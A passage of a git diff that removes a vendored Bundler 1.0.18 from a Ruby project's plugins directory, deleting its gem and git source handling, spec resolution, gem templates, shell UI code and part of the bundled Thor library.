-          p != File.dirname(__FILE__) &&
-            Bundler.rubygems.gem_path.any?{|gp| p =~ /^#{Regexp.escape(gp)}/ }
-        end
-        $LOAD_PATH.uniq!
-      end
-    end
-
-    extend self
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/source.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/source.rb
deleted file mode 100644
index eaa7bb65..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/source.rb
+++ /dev/null
@@ -1,707 +0,0 @@
-require "uri"
-require 'rubygems/user_interaction'
-require "rubygems/installer"
-require "rubygems/spec_fetcher"
-require "rubygems/format"
-require "digest/sha1"
-require "open3"
-
-module Bundler
-  module Source
-    # TODO: Refactor this class
-    class Rubygems
-      attr_reader :remotes
-
-      def initialize(options = {})
-        @options = options
-        @remotes = (options["remotes"] || []).map { |r| normalize_uri(r) }
-        @allow_remote = false
-        @allow_cached = false
-
-        # Hardcode the paths for now
-        @caches = [ Bundler.app_cache ] + Bundler.rubygems.gem_path.map do |x|
-          File.expand_path("#{x}/cache")
-        end
-
-        @spec_fetch_map = {}
-      end
-
-      def remote!
-        @allow_remote = true
-      end
-
-      def cached!
-        @allow_cached = true
-      end
-
-      def hash
-        Rubygems.hash
-      end
-
-      def eql?(o)
-        Rubygems === o
-      end
-
-      alias == eql?
-
-      def options
-        { "remotes" => @remotes.map { |r| r.to_s } }
-      end
-
-      def self.from_lock(options)
-        s = new(options)
-        Array(options["remote"]).each { |r| s.add_remote(r) }
-        s
-      end
-
-      def to_lock
-        out = "GEM\n"
-        out << remotes.map {|r| "  remote: #{r}\n" }.join
-        out << "  specs:\n"
-      end
-
-      def to_s
-        remote_names = self.remotes.map { |r| r.to_s }.join(', ')
-        "rubygems repository #{remote_names}"
-      end
-      alias_method :name, :to_s
-
-      def specs
-        @specs ||= fetch_specs
-      end
-
-      def fetch(spec)
-        spec, uri = @spec_fetch_map[spec.full_name]
-        if spec
-          path = download_gem_from_uri(spec, uri)
-          s = Bundler.rubygems.spec_from_gem(path)
-          spec.__swap__(s)
-        end
-      end
-
-      def install(spec)
-        if installed_specs[spec].any?
-          Bundler.ui.info "Using #{spec.name} (#{spec.version}) "
-          return
-        end
-
-        Bundler.ui.info "Installing #{spec.name} (#{spec.version}) "
-        path = cached_gem(spec)
-
-        Bundler.rubygems.preserve_paths do
-
-          install_path = Bundler.requires_sudo? ? Bundler.tmp : Bundler.rubygems.gem_dir
-          options = { :install_dir         => install_path,
-                      :ignore_dependencies => true,
-                      :wrappers            => true,
-                      :env_shebang         => true }
-          options.merge!(:bin_dir => "#{install_path}/bin") unless spec.executables.nil? || spec.executables.empty?
-
-          installer = Gem::Installer.new path, options
-          installer.install
-        end
-
-        # SUDO HAX
-        if Bundler.requires_sudo?
-          sudo "mkdir -p #{Bundler.rubygems.gem_dir}/gems #{Bundler.rubygems.gem_dir}/specifications"
-          sudo "cp -R #{Bundler.tmp}/gems/#{spec.full_name} #{Bundler.rubygems.gem_dir}/gems/"
-          sudo "cp -R #{Bundler.tmp}/specifications/#{spec.full_name}.gemspec #{Bundler.rubygems.gem_dir}/specifications/"
-          spec.executables.each do |exe|
-            sudo "mkdir -p #{Bundler.rubygems.gem_bindir}"
-            sudo "cp -R #{Bundler.tmp}/bin/#{exe} #{Bundler.rubygems.gem_bindir}"
-          end
-        end
-
-        spec.loaded_from = "#{Bundler.rubygems.gem_dir}/specifications/#{spec.full_name}.gemspec"
-      end
-
-      def sudo(str)
-        Bundler.sudo(str)
-      end
-
-      def cache(spec)
-        cached_path = cached_gem(spec)
-        raise GemNotFound, "Missing gem file '#{spec.full_name}.gem'." unless cached_path
-        return if File.dirname(cached_path) == Bundler.app_cache.to_s
-        Bundler.ui.info "  * #{File.basename(cached_path)}"
-        FileUtils.cp(cached_path, Bundler.app_cache)
-      end
-
-      def add_remote(source)
-        @remotes << normalize_uri(source)
-      end
-
-      def merge_remotes(source)
-        @remotes = []
-        source.remotes.each do |r|
-          add_remote r.to_s
-        end
-      end
-
-    private
-
-      def cached_gem(spec)
-        possibilities = @caches.map { |p| "#{p}/#{spec.file_name}" }
-        cached_gem = possibilities.find { |p| File.exist?(p) }
-        unless cached_gem
-          raise Bundler::GemNotFound, "Could not find #{spec.file_name} for installation"
-        end
-        cached_gem
-      end
-
-      def normalize_uri(uri)
-        uri = uri.to_s
-        uri = "#{uri}/" unless uri =~ %r'/$'
-        uri = URI(uri)
-        raise ArgumentError, "The source must be an absolute URI" unless uri.absolute?
-        uri
-      end
-
-      def fetch_specs
-        # remote_specs usually generates a way larger Index than the other
-        # sources, and large_idx.use small_idx is way faster than
-        # small_idx.use large_idx.
-        if @allow_remote
-          idx = remote_specs.dup
-        else
-          idx = Index.new
-        end
-        idx.use(cached_specs, :override_dupes) if @allow_cached || @allow_remote
-        idx.use(installed_specs, :override_dupes)
-        idx
-      end
-
-      def installed_specs
-        @installed_specs ||= begin
-          idx = Index.new
-          have_bundler = false
-          Bundler.rubygems.all_specs.reverse.each do |spec|
-            next if spec.name == 'bundler' && spec.version.to_s != VERSION
-            have_bundler = true if spec.name == 'bundler'
-            spec.source = self
-            idx << spec
-          end
-
-          # Always have bundler locally
-          unless have_bundler
-           # We're running bundler directly from the source
-           # so, let's create a fake gemspec for it (it's a path)
-           # gemspec
-           bundler = Gem::Specification.new do |s|
-             s.name     = 'bundler'
-             s.version  = VERSION
-             s.platform = Gem::Platform::RUBY
-             s.source   = self
-             s.authors  = ["bundler team"]
-             s.loaded_from = File.expand_path("..", __FILE__)
-           end
-           idx << bundler
-          end
-          idx
-        end
-      end
-
-      def cached_specs
-        @cached_specs ||= begin
-          idx = installed_specs.dup
-
-          path = Bundler.app_cache
-          Dir["#{path}/*.gem"].each do |gemfile|
-            next if gemfile =~ /^bundler\-[\d\.]+?\.gem/
-
-            begin
-              s ||= Bundler.rubygems.spec_from_gem(gemfile)
-            rescue Gem::Package::FormatError
-              raise GemspecError, "Could not read gem at #{gemfile}. It may be corrupted."
-            end
-
-            s.source = self
-            idx << s
-          end
-        end
-
-        idx
-      end
-
-      def remote_specs
-        @remote_specs ||= begin
-          idx     = Index.new
-          old     = Bundler.rubygems.sources
-
-          remotes.each do |uri|
-            Bundler.ui.info "Fetching source index for #{uri}"
-            Gem.sources = ["#{uri}"]
-            fetch_all_remote_specs do |n,v|
-              v.each do |name, version, platform|
-                next if name == 'bundler'
-                spec = RemoteSpecification.new(name, version, platform, uri)
-                spec.source = self
-                @spec_fetch_map[spec.full_name] = [spec, uri]
-                idx << spec
-              end
-            end
-          end
-          idx
-        ensure
-          Bundler.rubygems.sources = old
-        end
-      end
-
-      def fetch_all_remote_specs(&blk)
-        begin
-          # Fetch all specs, minus prerelease specs
-          Gem::SpecFetcher.new.list(true, false).each(&blk)
-          # Then fetch the prerelease specs
-          begin
-            Gem::SpecFetcher.new.list(false, true).each(&blk)
-          rescue Gem::RemoteFetcher::FetchError
-            Bundler.ui.warn "Could not fetch prerelease specs from #{self}"
-          end
-        rescue Gem::RemoteFetcher::FetchError
-          Bundler.ui.warn "Could not reach #{self}"
-        end
-      end
-
-      def download_gem_from_uri(spec, uri)
-        spec.fetch_platform
-
-        download_path = Bundler.requires_sudo? ? Bundler.tmp : Bundler.rubygems.gem_dir
-        gem_path = "#{Bundler.rubygems.gem_dir}/cache/#{spec.full_name}.gem"
-
-        FileUtils.mkdir_p("#{download_path}/cache")
-        Bundler.rubygems.download_gem(spec, uri, download_path)
-
-        if Bundler.requires_sudo?
-          sudo "mkdir -p #{Bundler.rubygems.gem_dir}/cache"
-          sudo "mv #{Bundler.tmp}/cache/#{spec.full_name}.gem #{gem_path}"
-        end
-
-        gem_path
-      end
-    end
-
-    class Path
-      attr_reader :path, :options
-      # Kind of a hack, but needed for the lock file parser
-      attr_writer   :name
-      attr_accessor :version
-
-      DEFAULT_GLOB = "{,*,*/*}.gemspec"
-
-      def initialize(options)
-        @options = options
-        @glob = options["glob"] || DEFAULT_GLOB
-
-        @allow_cached = false
-        @allow_remote = false
-
-        if options["path"]
-          @path = Pathname.new(options["path"])
-          @path = @path.expand_path(Bundler.root) unless @path.relative?
-        end
-
-        @name = options["name"]
-        @version = options["version"]
-      end
-
-      def remote!
-        @allow_remote = true
-      end
-
-      def cached!
-        @allow_cached = true
-      end
-
-      def self.from_lock(options)
-        new(options.merge("path" => options.delete("remote")))
-      end
-
-      def to_lock
-        out = "PATH\n"
-        out << "  remote: #{relative_path}\n"
-        out << "  glob: #{@glob}\n" unless @glob == DEFAULT_GLOB
-        out << "  specs:\n"
-      end
-
-      def to_s
-        "source at #{@path}"
-      end
-
-      def hash
-        self.class.hash
-      end
-
-      def eql?(o)
-        o.instance_of?(Path) &&
-        path.expand_path(Bundler.root) == o.path.expand_path(Bundler.root) &&
-        version == o.version
-      end
-
-      alias == eql?
-
-      def name
-        File.basename(path.expand_path(Bundler.root).to_s)
-      end
-
-      def load_spec_files
-        index = Index.new
-
-        expanded_path = path.expand_path(Bundler.root)
-
-        if File.directory?(expanded_path)
-          Dir["#{expanded_path}/#{@glob}"].each do |file|
-            spec = Bundler.load_gemspec(file)
-            if spec
-              spec.loaded_from = file.to_s
-              spec.source = self
-              index << spec
-            end
-          end
-
-          if index.empty? && @name && @version
-            index << Gem::Specification.new do |s|
-              s.name     = @name
-              s.source   = self
-              s.version  = Gem::Version.new(@version)
-              s.platform = Gem::Platform::RUBY
-              s.summary  = "Fake gemspec for #{@name}"
-              s.relative_loaded_from = "#{@name}.gemspec"
-              s.authors  = ["no one"]
-              if expanded_path.join("bin").exist?
-                executables = expanded_path.join("bin").children
-                executables.reject!{|p| File.directory?(p) }
-                s.executables = executables.map{|c| c.basename.to_s }
-              end
-            end
-          end
-        else
-          raise PathError, "The path `#{expanded_path}` does not exist."
-        end
-
-        index
-      end
-
-      def local_specs
-        @local_specs ||= load_spec_files
-      end
-
-      class Installer < Gem::Installer
-        def initialize(spec, options = {})
-          @spec              = spec
-          @bin_dir           = Bundler.requires_sudo? ? "#{Bundler.tmp}/bin" : "#{Bundler.rubygems.gem_dir}/bin"
-          @gem_dir           = Bundler.rubygems.path(spec.full_gem_path)
-          @wrappers          = options[:wrappers] || true
-          @env_shebang       = options[:env_shebang] || true
-          @format_executable = options[:format_executable] || false
-        end
-
-        def generate_bin
-          return if spec.executables.nil? || spec.executables.empty?
-
-          if Bundler.requires_sudo?
-            FileUtils.mkdir_p("#{Bundler.tmp}/bin") unless File.exist?("#{Bundler.tmp}/bin")
-          end
-          super
-          if Bundler.requires_sudo?
-            Bundler.mkdir_p "#{Bundler.rubygems.gem_dir}/bin"
-            spec.executables.each do |exe|
-              Bundler.sudo "cp -R #{Bundler.tmp}/bin/#{exe} #{Bundler.rubygems.gem_dir}/bin/"
-            end
-          end
-        end
-      end
-
-      def install(spec)
-        Bundler.ui.info "Using #{spec.name} (#{spec.version}) from #{to_s} "
-        # Let's be honest, when we're working from a path, we can't
-        # really expect native extensions to work because the whole point
-        # is to just be able to modify what's in that path and go. So, let's
-        # not put ourselves through the pain of actually trying to generate
-        # the full gem.
-        Installer.new(spec).generate_bin
-      end
-
-      alias specs local_specs
-
-      def cache(spec)
-        unless path.expand_path(Bundler.root).to_s.index(Bundler.root.to_s) == 0
-          Bundler.ui.warn "  * #{spec.name} at `#{path}` will not be cached."
-        end
-      end
-
-    private
-
-      def relative_path
-        if path.to_s.include?(Bundler.root.to_s)
-          return path.relative_path_from(Bundler.root)
-        end
-
-        path
-      end
-
-      def generate_bin(spec)
-        gem_dir  = Pathname.new(spec.full_gem_path)
-
-        # Some gem authors put absolute paths in their gemspec
-        # and we have to save them from themselves
-        spec.files = spec.files.map do |p|
-          next if File.directory?(p)
-          begin
-            Pathname.new(p).relative_path_from(gem_dir).to_s
-          rescue ArgumentError
-            p
-          end
-        end.compact
-
-        gem_file = Dir.chdir(gem_dir){ Gem::Builder.new(spec).build }
-
-        installer = Installer.new(spec, :env_shebang => false)
-        installer.build_extensions
-        installer.generate_bin
-      rescue Gem::InvalidSpecificationException => e
-        Bundler.ui.warn "\n#{spec.name} at #{spec.full_gem_path} did not have a valid gemspec.\n" \
-                        "This prevents bundler from installing bins or native extensions, but " \
-                        "that may not affect its functionality."
-
-        if !spec.extensions.empty? && !spec.email.empty?
-          Bundler.ui.warn "If you need to use this package without installing it from a gem " \
-                          "repository, please contact #{spec.email} and ask them " \
-                          "to modify their .gemspec so it can work with `gem build`."
-        end
-
-        Bundler.ui.warn "The validation message from Rubygems was:\n  #{e.message}"
-      ensure
-        Dir.chdir(gem_dir){ FileUtils.rm_rf(gem_file) if gem_file && File.exist?(gem_file) }
-      end
-
-    end
-
-    class Git < Path
-      attr_reader :uri, :ref, :options, :submodules
-
-      def initialize(options)
-        super
-
-        # stringify options that could be set as symbols
-        %w(ref branch tag revision).each{|k| options[k] = options[k].to_s if options[k] }
-
-        @uri        = options["uri"]
-        @ref        = options["ref"] || options["branch"] || options["tag"] || 'master'
-        @revision   = options["revision"]
-        @submodules = options["submodules"]
-        @update     = false
-      end
-
-      def self.from_lock(options)
-        new(options.merge("uri" => options.delete("remote")))
-      end
-
-      def to_lock
-        out = "GIT\n"
-        out << "  remote: #{@uri}\n"
-        out << "  revision: #{revision}\n"
-        %w(ref branch tag submodules).each do |opt|
-          out << "  #{opt}: #{options[opt]}\n" if options[opt]
-        end
-        out << "  glob: #{@glob}\n" unless @glob == DEFAULT_GLOB
-        out << "  specs:\n"
-      end
-
-      def eql?(o)
-        Git === o            &&
-        uri == o.uri         &&
-        ref == o.ref         &&
-        name == o.name       &&
-        version == o.version &&
-        submodules == o.submodules
-      end
-
-      alias == eql?
-
-      def to_s
-        sref = options["ref"] ? shortref_for_display(options["ref"]) : ref
-        "#{uri} (at #{sref})"
-      end
-
-      def name
-        File.basename(@uri, '.git')
-      end
-
-      def path
-        @install_path ||= begin
-          git_scope = "#{base_name}-#{shortref_for_path(revision)}"
-
-          if Bundler.requires_sudo?
-            Bundler.user_bundle_path.join(Bundler.ruby_scope).join(git_scope)
-          else
-            Bundler.install_path.join(git_scope)
-          end
-        end
-      end
-
-      def unlock!
-        @revision = nil
-      end
-
-      # TODO: actually cache git specs
-      def specs
-        if allow_git_ops? && !@update
-          # Start by making sure the git cache is up to date
-          cache
-          checkout
-          @update = true
-        end
-        local_specs
-      end
-
-      def install(spec)
-        Bundler.ui.info "Using #{spec.name} (#{spec.version}) from #{to_s} "
-
-        unless @installed
-          Bundler.ui.debug "  * Checking out revision: #{ref}"
-          checkout if allow_git_ops?
-          @installed = true
-        end
-        generate_bin(spec)
-      end
-
-      def load_spec_files
-        super
-      rescue PathError, GitError
-        raise GitError, "#{to_s} is not checked out. Please run `bundle install`"
-      end
-
-    private
-
-      def git(command)
-        if allow_git_ops?
-          out = %x{git #{command}}
-
-          if $?.exitstatus != 0
-            msg = "Git error: command `git #{command}` in directory #{Dir.pwd} has failed."
-            msg << "\nIf this error persists you could try removing the cache directory '#{cache_path}'" if cached?
-            raise GitError, msg
-          end
-          out
-        else
-          raise GitError, "Bundler is trying to run a `git #{command}` at runtime. You probably need to run `bundle install`. However, " \
-                          "this error message could probably be more useful. Please submit a ticket at http://github.com/carlhuda/bundler/issues " \
-                          "with steps to reproduce as well as the following\n\nCALLER: #{caller.join("\n")}"
-        end
-      end
-
-      def base_name
-        File.basename(uri.sub(%r{^(\w+://)?([^/:]+:)?(//\w*/)?(\w*/)*},''),".git")
-      end
-
-      def shortref_for_display(ref)
-        ref[0..6]
-      end
-
-      def shortref_for_path(ref)
-        ref[0..11]
-      end
-
-      def uri_hash
-        if uri =~ %r{^\w+://(\w+@)?}
-          # Downcase the domain component of the URI
-          # and strip off a trailing slash, if one is present
-          input = URI.parse(uri).normalize.to_s.sub(%r{/$},'')
-        else
-          # If there is no URI scheme, assume it is an ssh/git URI
-          input = uri
-        end
-        Digest::SHA1.hexdigest(input)
-      end
-
-      # Escape the URI for git commands
-      def uri_escaped
-        if Bundler::WINDOWS
-          # Windows quoting requires double quotes only, with double quotes
-          # inside the string escaped by being doubled.
-          '"' + uri.gsub('"') {|s| '""'} + '"'
-        else
-          # Bash requires single quoted strings, with the single quotes escaped
-          # by ending the string, escaping the quote, and restarting the string.
-          "'" + uri.gsub("'") {|s| "'\\''"} + "'"
-        end
-      end
-
-      def cache_path
-        @cache_path ||= begin
-          git_scope = "#{base_name}-#{uri_hash}"
-
-          if Bundler.requires_sudo?
-            Bundler.user_bundle_path.join("cache/git", git_scope)
-          else
-            Bundler.cache.join("git", git_scope)
-          end
-        end
-      end
-
-      def cache
-        if cached?
-          return if has_revision_cached?
-          Bundler.ui.info "Updating #{uri}"
-          in_cache do
-            git %|fetch --force --quiet --tags #{uri_escaped} "refs/heads/*:refs/heads/*"|
-          end
-        else
-          Bundler.ui.info "Fetching #{uri}"
-          FileUtils.mkdir_p(cache_path.dirname)
-          git %|clone #{uri_escaped} "#{cache_path}" --bare --no-hardlinks|
-        end
-      end
-
-      def checkout
-        unless File.exist?(path.join(".git"))
-          FileUtils.mkdir_p(path.dirname)
-          FileUtils.rm_rf(path)
-          git %|clone --no-checkout "#{cache_path}" "#{path}"|
-          File.chmod((0777 & ~File.umask), path)
-        end
-        Dir.chdir(path) do
-          git %|fetch --force --quiet --tags "#{cache_path}"|
-          git "reset --hard #{revision}"
-
-          if @submodules
-            git "submodule init"
-            git "submodule update"
-          end
-        end
-      end
-
-      def has_revision_cached?
-        return unless @revision
-        in_cache { git %|cat-file -e #{@revision}| }
-        true
-      rescue GitError
-        false
-      end
-
-      def allow_git_ops?
-        @allow_remote || @allow_cached
-      end
-
-      def revision
-        @revision ||= begin
-          if allow_git_ops?
-            in_cache { git("rev-parse #{ref}").strip }
-          else
-            raise GitError, "The git source #{uri} is not yet checked out. Please run `bundle install` before trying to start your application"
-          end
-        end
-      end
-
-      def cached?
-        cache_path.exist?
-      end
-
-      def in_cache(&blk)
-        cache unless cached?
-        Dir.chdir(cache_path, &blk)
-      end
-    end
-
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/spec_set.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/spec_set.rb
deleted file mode 100644
index 3149c752..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/spec_set.rb
+++ /dev/null
@@ -1,135 +0,0 @@
-require 'tsort'
-require 'forwardable'
-
-module Bundler
-  class SpecSet
-    extend Forwardable
-    include TSort, Enumerable
-
-    def_delegators :@specs, :<<, :length, :add, :remove
-    def_delegators :sorted, :each
-
-    def initialize(specs)
-      @specs = specs.sort_by { |s| s.name }
-    end
-
-    def for(dependencies, skip = [], check = false, match_current_platform = false)
-      handled, deps, specs = {}, dependencies.dup, []
-      skip << 'bundler'
-
-      until deps.empty?
-        dep = deps.shift
-        next if handled[dep] || skip.include?(dep.name)
-
-        spec = lookup[dep.name].find do |s|
-          match_current_platform ?
-            Gem::Platform.match(s.platform) :
-            s.match_platform(dep.__platform)
-        end
-
-        handled[dep] = true
-
-        if spec
-          specs << spec
-
-          spec.dependencies.each do |d|
-            next if d.type == :development
-            d = DepProxy.new(d, dep.__platform) unless match_current_platform
-            deps << d
-          end
-        elsif check
-          return false
-        end
-      end
-
-      if spec = lookup['bundler'].first
-        specs << spec
-      end
-
-      check ? true : SpecSet.new(specs)
-    end
-
-    def valid_for?(deps)
-      self.for(deps, [], true)
-    end
-
-    def [](key)
-      key = key.name if key.respond_to?(:name)
-      lookup[key].reverse
-    end
-
-    def []=(key, value)
-      @specs << value
-      @lookup = nil
-      @sorted = nil
-      value
-    end
-
-    def sort!
-      self
-    end
-
-    def to_a
-      sorted.dup
-    end
-
-    def to_hash
-      lookup.dup
-    end
-
-    def materialize(deps, missing_specs = nil)
-      materialized = self.for(deps, [], false, true).to_a
-      materialized.map! do |s|
-        next s unless s.is_a?(LazySpecification)
-        spec = s.__materialize__
-        if missing_specs
-          missing_specs << s unless spec
-        else
-          raise GemNotFound, "Could not find #{s.full_name} in any of the sources" unless spec
-        end
-        spec if spec
-      end
-      SpecSet.new(materialized.compact)
-    end
-
-    def merge(set)
-      arr = sorted.dup
-      set.each do |s|
-        next if arr.any? { |s2| s2.name == s.name && s2.version == s.version && s2.platform == s.platform }
-        arr << s
-      end
-      SpecSet.new(arr)
-    end
-
-  private
-
-    def sorted
-      rake = @specs.find { |s| s.name == 'rake' }
-      @sorted ||= ([rake] + tsort).compact.uniq
-    end
-
-    def lookup
-      @lookup ||= begin
-        lookup = Hash.new { |h,k| h[k] = [] }
-        specs = @specs.sort_by do |s|
-          s.platform.to_s == 'ruby' ? "\0" : s.platform.to_s
-        end
-        specs.reverse_each do |s|
-          lookup[s.name] << s
-        end
-        lookup
-      end
-    end
-
-    def tsort_each_node
-      @specs.each { |s| yield s }
-    end
-
-    def tsort_each_child(s)
-      s.dependencies.sort_by { |d| d.name }.each do |d|
-        next if d.type == :development
-        lookup[d.name].each { |s2| yield s2 }
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/Executable b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/Executable
deleted file mode 100755
index 41fe28ec..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/Executable
+++ /dev/null
@@ -1,16 +0,0 @@
-#!/usr/bin/env <%= RbConfig::CONFIG['ruby_install_name'] %>
-#
-# This file was generated by Bundler.
-#
-# The application '<%= executable %>' is installed as part of a gem, and
-# this file is here to facilitate running it.
-#
-
-require 'pathname'
-ENV['BUNDLE_GEMFILE'] ||= File.expand_path("../<%= relative_gemfile_path %>",
-  Pathname.new(__FILE__).realpath)
-
-require 'rubygems'
-require 'bundler/setup'
-
-load Gem.bin_path('<%= spec.name %>', '<%= executable %>')
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/Gemfile b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/Gemfile
deleted file mode 100644
index b8fa4033..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/Gemfile
+++ /dev/null
@@ -1,4 +0,0 @@
-# A sample Gemfile
-source "http://rubygems.org"
-
-# gem "rails"
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/Gemfile.tt b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/Gemfile.tt
deleted file mode 100644
index 702c8c6c..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/Gemfile.tt
+++ /dev/null
@@ -1,4 +0,0 @@
-source "http://rubygems.org"
-
-# Specify your gem's dependencies in <%=config[:name]%>.gemspec
-gemspec
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/Rakefile.tt b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/Rakefile.tt
deleted file mode 100644
index 29955274..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/Rakefile.tt
+++ /dev/null
@@ -1 +0,0 @@
-require "bundler/gem_tasks"
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/bin/newgem.tt b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/bin/newgem.tt
deleted file mode 100644
index 7f572d40..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/bin/newgem.tt
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-
-require "<%= config[:name] %>"
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/gitignore.tt b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/gitignore.tt
deleted file mode 100644
index 4040c6c1..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/gitignore.tt
+++ /dev/null
@@ -1,4 +0,0 @@
-*.gem
-.bundle
-Gemfile.lock
-pkg/*
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/lib/newgem.rb.tt b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/lib/newgem.rb.tt
deleted file mode 100644
index db76ef60..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/lib/newgem.rb.tt
+++ /dev/null
@@ -1,9 +0,0 @@
-require "<%=config[:name]%>/version"
-
-<%- config[:constant_array].each_with_index do |c,i| -%>
-<%= '  '*i %>module <%= c %>
-<%- end -%>
-<%= '  '*config[:constant_array].size %># Your code goes here...
-<%- (config[:constant_array].size-1).downto(0) do |i| -%>
-<%= '  '*i %>end
-<%- end -%>
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/lib/newgem/version.rb.tt b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/lib/newgem/version.rb.tt
deleted file mode 100644
index fe9b5fc5..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/lib/newgem/version.rb.tt
+++ /dev/null
@@ -1,7 +0,0 @@
-<%- config[:constant_array].each_with_index do |c,i| -%>
-<%= '  '*i %>module <%= c %>
-<%- end -%>
-<%= '  '*config[:constant_array].size %>VERSION = "0.0.1"
-<%- (config[:constant_array].size-1).downto(0) do |i| -%>
-<%= '  '*i %>end
-<%- end -%>
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/newgem.gemspec.tt b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/newgem.gemspec.tt
deleted file mode 100644
index 35b3e3af..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/templates/newgem/newgem.gemspec.tt
+++ /dev/null
@@ -1,24 +0,0 @@
-# -*- encoding: utf-8 -*-
-$:.push File.expand_path("../lib", __FILE__)
-require "<%=config[:name]%>/version"
-
-Gem::Specification.new do |s|
-  s.name        = <%=config[:name].inspect%>
-  s.version     = <%=config[:constant_name]%>::VERSION
-  s.authors     = ["<%= config[:author_name] %>"]
-  s.email       = ["<%= config[:author_email] %>"]
-  s.homepage    = ""
-  s.summary     = %q{TODO: Write a gem summary}
-  s.description = %q{TODO: Write a gem description}
-
-  s.rubyforge_project = <%=config[:name].inspect%>
-
-  s.files         = `git ls-files`.split("\n")
-  s.test_files    = `git ls-files -- {test,spec,features}/*`.split("\n")
-  s.executables   = `git ls-files -- bin/*`.split("\n").map{ |f| File.basename(f) }
-  s.require_paths = ["lib"]
-
-  # specify any dependencies here; for example:
-  # s.add_development_dependency "rspec"
-  # s.add_runtime_dependency "rest-client"
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/ui.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/ui.rb
deleted file mode 100644
index c483216a..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/ui.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-require 'rubygems/user_interaction'
-
-module Bundler
-  class UI
-    def warn(message)
-    end
-
-    def debug(message)
-    end
-
-    def error(message)
-    end
-
-    def info(message)
-    end
-
-    def confirm(message)
-    end
-
-    class Shell < UI
-      attr_writer :shell
-
-      def initialize(shell)
-        @shell = shell
-        @quiet = false
-        @debug = ENV['DEBUG']
-      end
-
-      def debug(msg)
-        @shell.say(msg) if @debug && !@quiet
-      end
-
-      def info(msg)
-        @shell.say(msg) if !@quiet
-      end
-
-      def confirm(msg)
-        @shell.say(msg, :green) if !@quiet
-      end
-
-      def warn(msg)
-        @shell.say(msg, :yellow)
-      end
-
-      def error(msg)
-        @shell.say(msg, :red)
-      end
-
-      def be_quiet!
-        @quiet = true
-      end
-
-      def debug!
-        @debug = true
-      end
-    end
-
-    class RGProxy < ::Gem::SilentUI
-      def initialize(ui)
-        @ui = ui
-        super()
-      end
-
-      def say(message)
-        if message =~ /native extensions/
-          @ui.info "with native extensions "
-        else
-          @ui.debug(message)
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor.rb
deleted file mode 100644
index 92b24342..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor.rb
+++ /dev/null
@@ -1,358 +0,0 @@
-require 'thor/base'
-
-class Thor
-  class << self
-    # Sets the default task when thor is executed without an explicit task to be called.
-    #
-    # ==== Parameters
-    # meth<Symbol>:: name of the defaut task
-    #
-    def default_task(meth=nil)
-      case meth
-        when :none
-          @default_task = 'help'
-        when nil
-          @default_task ||= from_superclass(:default_task, 'help')
-        else
-          @default_task = meth.to_s
-      end
-    end
-
-    # Registers another Thor subclass as a command.
-    #
-    # ==== Parameters
-    # klass<Class>:: Thor subclass to register
-    # command<String>:: Subcommand name to use
-    # usage<String>:: Short usage for the subcommand
-    # description<String>:: Description for the subcommand
-    def register(klass, subcommand_name, usage, description, options={})
-      if klass <= Thor::Group
-        desc usage, description, options
-        define_method(subcommand_name) { invoke klass }
-      else
-        desc usage, description, options
-        subcommand subcommand_name, klass
-      end
-    end
-
-    # Defines the usage and the description of the next task.
-    #
-    # ==== Parameters
-    # usage<String>
-    # description<String>
-    # options<String>
-    #
-    def desc(usage, description, options={})
-      if options[:for]
-        task = find_and_refresh_task(options[:for])
-        task.usage = usage             if usage
-        task.description = description if description
-      else
